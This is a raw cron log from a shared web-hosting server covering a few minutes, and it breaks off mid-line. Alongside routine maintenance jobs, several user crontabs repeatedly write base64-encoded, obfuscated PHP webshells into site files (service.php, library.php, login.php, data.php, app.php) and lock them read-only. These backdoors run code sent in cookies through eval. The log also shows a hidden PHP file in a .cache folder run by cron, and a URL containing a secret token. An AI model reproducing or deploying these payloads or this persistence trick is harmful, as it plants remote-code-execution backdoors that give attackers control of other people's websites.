Mar  2 16:22:01 medusa CROND[2232]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:22:01 medusa CROND[2233]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:22:01 medusa CROND[2234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:22:01 medusa CROND[2237]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:22:01 medusa CROND[2238]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:22:01 medusa CROND[2245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:22:01 medusa CROND[2248]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:22:01 medusa CROND[2249]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:22:01 medusa CROND[2253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:22:01 medusa CROND[2257]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:22:01 medusa CROND[2259]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:22:01 medusa CROND[2261]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:23:01 medusa CROND[20099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:23:01 medusa CROND[20294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:23:01 medusa CROND[20339]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:23:01 medusa CROND[20340]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:23:01 medusa CROND[20342]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:23:01 medusa CROND[20350]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:23:01 medusa CROND[20351]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:23:01 medusa CROND[20352]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:23:01 medusa CROND[20353]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:23:01 medusa CROND[20354]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:23:01 medusa CROND[20355]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:23:01 medusa CROND[20364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:24:01 medusa CROND[9468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:24:01 medusa CROND[9469]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:24:01 medusa CROND[9470]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:24:01 medusa CROND[9471]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:24:01 medusa CROND[9472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:24:01 medusa CROND[9473]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:24:01 medusa CROND[9474]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+IC